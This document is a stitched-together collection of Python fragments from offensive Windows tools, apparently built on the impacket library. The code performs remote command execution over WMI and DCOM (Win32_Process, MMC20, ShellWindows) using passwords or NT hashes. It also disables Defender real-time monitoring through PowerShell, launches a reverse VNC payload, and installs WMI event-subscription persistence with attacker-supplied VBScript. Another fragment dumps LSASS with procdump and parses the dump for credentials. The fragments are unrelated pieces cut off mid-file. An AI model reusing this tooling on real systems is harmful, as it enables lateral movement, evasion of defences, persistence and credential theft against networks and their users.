AutoReboot # KernelDumpOnly # OverwriteExistingDebugFile # SendAdminAlert # WriteDebugInfo # WriteToSystemLog # #uint32: # DebugInfoType wmiClass.SettingID = str(wmiClass.SettingID) wmiClass.Caption = str(wmiClass.Caption) wmiClass.Description = str(wmiClass.Description) wmiClass.AutoReboot = int(wmiClass.AutoReboot == 'True') wmiClass.OverwriteExistingDebugFile = int(wmiClass.OverwriteExistingDebugFile == 'True') wmiClass.WriteDebugInfo = int(wmiClass.WriteDebugInfo == 'True') wmiClass.WriteToSystemLog = int(wmiClass.WriteToSystemLog == 'True') ############ updating the target property value wmiClass.DebugFilePath = update_value ############ IMPORTANT : after update, ExpandedDebugFilePath has garbage byte values, so we reset it (will be replaced by Windows later, so no pb) wmiClass.ExpandedDebugFilePath = "" check_error('Writing to DebugFilePath', iWbemServices.PutInstance(wmiClass.marshalMe())) dcom.disconnect() except Exception as e: self.logger.error('Error creating WMI connection: {}'.format(e))
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: self.disable_defender() try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: self.disable_defender() self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('wmi Executing_remote command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket( ).getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1"'.format( local_ip, self.__share_name, self.__output) #adding creds gets past systems disallowing guest-auth command = 'cmd.exe /Q /c "net use /persistent:no \\\\{}\\{} /user:{} {} & '.format( local_ip, self.__share_name, self.__username, self.__password) + command logging.debug('wmi Executing_fileless command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open((cfg.TMP_PATH / self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(5) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def disable_defender(self): command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableRealtimeMonitoring $true;"' logging.debug('wmi Disabling Defender using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print( ' [!] Sleeping to allow defender process to finish shutting down[!] ' ) time.sleep(8)
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype +' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format(addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it") time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info("Error on executing bat file. Trying to delete it before exiting") self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect()
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = "\\" + gen_random_string(6) self.__outputBuffer = "" self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd("\\") self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote("cd " + s) if len(self.__outputBuffer.strip("\r\n")) > 0: print self.__outputBuffer self.__outputBuffer = "" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote("cd ") self.__pwd = self.__outputBuffer.strip("\r\n") self.prompt = self.__pwd + ">" self.__outputBuffer = "" def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = "" return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass else: # print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None, killDefender=False, logger=None, output=False): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = None self.__share = share self.__share_name = share_name self.__noOutput = output self.__kdcHost = None self.__aesKey = None self.__doKerberos = False self.__retOutput = True self.__dcomObject = 'MMC20' self.__smbconnection = smbconnection self.__target = target self.logger = logger self.dcom = None print('a{}'.format(self.__noOutput)) self.shell = None if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__noOutput is False: smbConnection = self.__smbconnection if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None self.dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellWindows') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellBrowserWindow') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': logging.debug('in execute: MMC20') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) logging.debug('in execute: iDocument = IDispatch') if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) logging.debug('in execute: MMC20 - 2') iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() self.dcom.disconnect() sys.stdout.flush() sys.exit(1)
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError( 'Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance( 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError( 'Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError( 'Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError( 'Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % (self.__options.name, self.__options.name))) else: activeScript, _ = iWbemServices.GetObject( 'ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] activeScript.ScriptText = options.vbs.read() self.checkError( 'Adding ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject( '__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError( 'Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding, _ = iWbemServices.GetObject( '__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] self.checkError( 'Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
def run(self, addr, osArch='64'): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, self.__smbConnection) # Upload procdump procpath = os.path.join( os.path.dirname(os.path.realpath(sys.argv[0])), 'misc', 'procdump', 'procdump%s.exe' % (osArch)) logging.info("%s Uploading procdump to %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.do_put(procpath) else: self.shell.do_put(procpath) dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S") # Execute procdump silently with pid to avoid AVs as much as possible cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do procdump{}.exe -accepteula -ma ^%B C:\\{}.dmp""".format( osArch, addr + "_" + dt) logging.info("%s Executing procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd(cmd) else: self.shell.onecmd(cmd) # Create dump's file descriptor to parse dumps remotely logging.info("%s Creating dump's file descriptor on %s..." % (debugBlue, addr)) logging.info("%s Parsing %s's dump remotely..." % (debugBlue, addr)) dump = Dump(self.__smbConnection, """{}.dmp""".format(addr + "_" + dt)) credentials = parseDump(dump) if credentials is not None: print_credentials(addr, credentials) write_credentials(addr, credentials) finally: # Clean remote machines (dump & procdump) logging.info("%s Closing dump file on %s..." % (debugBlue, addr)) dump.close() logging.info("%s Deleting procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del procdump%s.exe" % (osArch)) else: self.shell.onecmd("del procdump%s.exe" % (osArch)) logging.info("%s Deleting dump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) else: self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) if self.__smbConnection is not None: self.__smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd('\\') self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = '' return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
class Exec(IExec): """ Remote execution using MMC as provided user This execution method does not provide debug privilege """ debug_privilege = True kerberos_support = False def __init__(self, session): super().__init__(session) self.__shell = 'c:\\windows\\system32\\cmd.exe' self.__pwd = 'C:\\' self.__quit = None self.__executeShellCommand = None def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def clean(self): dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 try: self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) except Exception as e: pass try: self.dcom.disconnect() except Exception as e: pass def exec(self, command): if not super().exec(command): return False self.dcom = DCOMConnection(self.session.address, self.session.username, self.session.password, self.session.domain, self.session.lmhash, self.session.nthash, self.session.aesKey, oxidResolver=True, doKerberos=self.session.kerberos, kdcHost=self.session.dc_ip) try: iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: logging.debug("Error : {}".format(e), exc_info=True) self.clean() dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self.__shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = self.__pwd arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = command arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
